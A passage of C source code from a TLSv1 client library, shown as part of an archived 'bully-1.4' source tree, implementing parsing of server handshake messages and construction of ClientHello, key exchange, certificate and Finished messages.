wpa_printf(MSG_DEBUG, "TLSv1: UnexpectedServerKeyExchange"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } *in_len = end - in_data; conn->state = SERVER_CERTIFICATE_REQUEST; return 0; } static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateRequest " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in CertificateRequest " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateRequest"); conn->certificate_requested = 1; *in_len = end - in_data; conn->state = SERVER_HELLO_DONE; return 0; } static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerHelloDone " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerHelloDone " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHelloDone"); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_server_change_cipher_spec(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); if (conn->use_session_ticket) { int res; wpa_printf(MSG_DEBUG, "TLSv1: Server may have " "rejected SessionTicket"); conn->use_session_ticket = 0; /* Notify upper layers that SessionTicket failed */ res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, NULL, NULL, NULL); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket " "callback indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->state = SERVER_CERTIFICATE; return tls_process_certificate(conn, ct, in_data, in_len); } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = SERVER_FINISHED; return 0; } static int tls_process_server_finished(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? CHANGE_CIPHER_SPEC : ACK_FINISHED; return 0; } static int tls_process_application_data(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len, u8 **out_data, size_t *out_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Application Data; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; wpa_hexdump(MSG_DEBUG, "TLSv1: Application Data included in Handshake", pos, left); *out_data = os_malloc(left); if (*out_data) { os_memcpy(*out_data, pos, left); *out_len = left; } return 0; } int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE && *len >= 4 && buf[0] == TLS_HANDSHAKE_TYPE_HELLO_REQUEST) { size_t hr_len = WPA_GET_BE24(buf + 1); if (hr_len > *len - 4) { wpa_printf(MSG_DEBUG, "TLSv1: HelloRequest underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Ignored HelloRequest"); *len = 4 + hr_len; return 0; } switch (conn->state) { case SERVER_HELLO: if (tls_process_server_hello(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case SERVER_KEY_EXCHANGE: if (tls_process_server_key_exchange(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE_REQUEST: if (tls_process_certificate_request(conn, ct, buf, len)) return -1; break; case SERVER_HELLO_DONE: if (tls_process_server_hello_done(conn, ct, buf, len)) return -1; break; case SERVER_CHANGE_CIPHER_SPEC: if (tls_process_server_change_cipher_spec(conn, ct, buf, len)) return -1; break; case SERVER_FINISHED: if (tls_process_server_finished(conn, ct, buf, len)) return -1; break; case ACK_FINISHED: if (out_data && tls_process_application_data(conn, ct, buf, len, out_data, out_len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } bully-1.4-00/src/tls/tlsv1_client_write.c000077500000000000000000000500011361530463600203060ustar00rootroot00000000000000/* * TLSv1 client - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static size_t tls_client_cert_chain_der_len(struct tlsv1_client *conn) { size_t len = 0; struct x509_certificate *cert; if (conn->cred == NULL) return 0; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len) { u8 *hello, *end, *pos, *hs_length, *hs_start, *rhdr; struct os_time now; size_t len, i; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientHello"); *out_len = 0; os_get_time(&now); WPA_PUT_BE32(conn->client_random, now.sec); if (os_get_random(conn->client_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "client_random"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); len = 100 + conn->num_cipher_suites * 2 + conn->client_hello_ext_len; hello = os_malloc(len); if (hello == NULL) return NULL; end = hello + len; rhdr = hello; pos = rhdr + TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientHello */ /* ProtocolVersion client_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->client_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suites<2..2^16-1> */ WPA_PUT_BE16(pos, 2 * conn->num_cipher_suites); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { WPA_PUT_BE16(pos, conn->cipher_suites[i]); pos += 2; } /* CompressionMethod compression_methods<1..2^8-1> */ *pos++ = 1; *pos++ = TLS_COMPRESSION_NULL; if (conn->client_hello_ext) { os_memcpy(pos, conn->client_hello_ext, conn->client_hello_ext_len); pos += conn->client_hello_ext_len; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, out_len) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(hello); return NULL; } conn->state = SERVER_HELLO; return hello; } static int tls_write_client_certificate(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred ? conn->cred->cert : NULL; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (conn->cred == NULL || cert == conn->cred->cert || cert == NULL) { /* * Client was not configured with all the needed certificates * to form a full certificate chain. The server may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full client certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tlsv1_key_x_anon_dh(struct tlsv1_client *conn, u8 **pos, u8 *end) { /* ClientDiffieHellmanPublic */ u8 *csecret, *csecret_start, *dh_yc, *shared; size_t csecret_len, dh_yc_len, shared_len; csecret_len = conn->dh_p_len; csecret = os_malloc(csecret_len); if (csecret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Yc (Diffie-Hellman)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(csecret, csecret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (os_memcmp(csecret, conn->dh_p, csecret_len) > 0) csecret[0] = 0; /* make sure Yc < p */ csecret_start = csecret; while (csecret_len > 1 && *csecret_start == 0) { csecret_start++; csecret_len--; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH client's secret value", csecret_start, csecret_len); /* Yc = g^csecret mod p */ dh_yc_len = conn->dh_p_len; dh_yc = os_malloc(dh_yc_len); if (dh_yc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for Diffie-Hellman"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } if (crypto_mod_exp(conn->dh_g, conn->dh_g_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, dh_yc, &dh_yc_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); WPA_PUT_BE16(*pos, dh_yc_len); *pos += 2; if (*pos + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough room in the " "message buffer for Yc"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(dh_yc); return -1; } os_memcpy(*pos, dh_yc, dh_yc_len); *pos += dh_yc_len; os_free(dh_yc); shared_len = conn->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); return -1; } /* shared = Ys^csecret mod p */ if (crypto_mod_exp(conn->dh_ys, conn->dh_ys_len, csecret_start, csecret_len, conn->dh_p, conn->dh_p_len, shared, &shared_len)) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(csecret); os_free(shared); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(csecret_start, 0, csecret_len); os_free(csecret); if (tls_derive_keys(conn, shared, shared_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(shared); return -1; } os_memset(shared, 0, shared_len); os_free(shared); tlsv1_client_free_dh(conn); return 0; } static int tlsv1_key_x_rsa(struct tlsv1_client *conn, u8 **pos, u8 *end) { u8 pre_master_secret[TLS_PRE_MASTER_SECRET_LEN]; size_t clen; int res; if (tls_derive_pre_master_secret(pre_master_secret) < 0 || tls_derive_keys(conn, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* EncryptedPreMasterSecret */ if (conn->server_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No server RSA key to " "use for encrypting pre-master secret"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* RSA encrypted value is encoded with PKCS #1 v1.5 block type 2. */ *pos += 2; clen = end - *pos; res = crypto_public_key_encrypt_pkcs1_v15( conn->server_rsa_key, pre_master_secret, TLS_PRE_MASTER_SECRET_LEN, *pos, &clen); os_memset(pre_master_secret, 0, TLS_PRE_MASTER_SECRET_LEN); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: RSA encryption failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(*pos - 2, clen); wpa_hexdump(MSG_MSGDUMP, "TLSv1: Encrypted pre_master_secret", *pos, clen); *pos += clen; return 0; } static int tls_write_client_key_exchange(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; tls_key_exchange keyx; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientKeyExchange */ if (keyx == TLS_KEY_X_DH_anon) { if (tlsv1_key_x_anon_dh(conn, &pos, end) < 0) return -1; } else { if (tlsv1_key_x_rsa(conn, &pos, end) < 0) return -1; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_certificate_verify(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *signed_start; size_t rlen, hlen, clen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateVerify"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* * RFC 2246: 7.4.3 and 7.4.8: * Signature signature * * RSA: * digitally-signed struct { * opaque md5_hash[16]; * opaque sha_hash[20]; * }; * * DSA: * digitally-signed struct { * opaque sha_hash[20]; * }; * * The hash values are calculated over all handshake messages sent or * received starting at ClientHello up to, but not including, this * CertificateVerify message, including the type and length fields of * the handshake messages. */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); /* * RFC 2246, 4.7: * In digital signing, one-way hash functions are used as input for a * signing algorithm. A digitally-signed element is encoded as an * opaque vector <0..2^16-1>, where the length is specified by the * signing algorithm and key. * * In RSA signing, a 36-byte structure of two hashes (one SHA and one * MD5) is signed (encrypted with the private key). It is encoded with * PKCS #1 block type 0 or type 1 as described in [PKCS1]. */ signed_start = pos; /* length to be filled */ pos += 2; clen = end - pos; if (conn->cred == NULL || crypto_private_key_sign_pkcs1(conn->cred->key, hash, hlen, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to sign hash (PKCS #1)"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE16(signed_start, clen); pos += clen; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_client_change_cipher_spec(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_client_finished(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_client_key_exchange(struct tlsv1_client *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000; if (conn->certificate_requested) msglen += tls_client_cert_chain_der_len(conn); msg = os_malloc(msglen); if 